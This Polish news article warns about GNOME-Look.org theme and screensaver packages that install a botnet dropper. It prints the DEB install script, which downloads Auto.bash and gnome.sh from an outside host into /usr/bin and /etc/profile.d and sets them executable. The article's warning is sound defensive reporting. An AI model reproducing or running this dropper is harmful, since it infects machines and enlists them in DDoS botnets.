Wirusy ukryte w motywach zagrażają użytkownikom Linuxa
Jak donoszą użytkownicy z całego świata, razem z niektórymi wygaszaczami i motywami dla Linuksa na GNOME-Look.org można znaleźć niezbyt przyjemny dodatek…
Chodzi o skrypt, który wykonuje się w systemie podczas instalacji z paczki DEB i wygląda następująco:
#!/bin/sh
cd /usr/bin/
rm Auto.bash
sleep 1
wget http://05748.t35.com/Bots/Auto.bash
chmod 777 Auto.bash
echo -----------------
cd /etc/profile.d/
rm gnome.sh
sleep 1
wget http://05748.t35.com/Bots/gnome.sh
chmod 777 gnome.sh
echo -----------------
clear
exit
Bardziej zaawansowani użytkownicy już z pewnością wypatrzyli, że całość modyfikuje plik profile.d co pozwala na przyłączenie naszego systemu do bootnetu i na przykład udział w atakach DDoS czy wykonywaniu innych zleconych mu czynności.
Czy to więc koniec tezy o bezpieczeństwie Linuksa?
Na szczęście nie. Podczas instalacji paczki Deb jesteśmy zmuszeni podać hasło po uzyskaniu którego menedżer pakietów może zrobić z systemem dosłownie wszystko. Bez zezwolenia użytkownika (podania hasła) taka sytuacja nie może mieć miejsca, nie jest to zatem bynajmniej luka w bezpieczeństwie systemu Ubuntu czy ogólnie Linuksów.
Co innego jednak, że ciągłe wpisywanie hasła z czasem zwyczajnie wchodzi nam w krew i przy setnej czy tysięcznej prośbie o jego podanie naturalnym jest, że nie zastanawiamy się nad konsekwencjami.
Jeśli instalowałeś ostatnio pakiety Waterfall ScreenSaver bądź Ninja Black z GNOME-Look.org (które uznawane były za zarażone) odtrutką na skrypt jest wykonanie polecenia: Czytaj dalej…
Najpierw kradnie hasła z menedżera plików Total Commander (TC), potem łączy się z serwerami FTP i dodaje złośliwe skrypty do plików stron internetowych. Jak bronić się przed niezidentyfikowanym wirusem radzi przedstawiciel polskiej ekipy TC.


Najnowsze Komentarze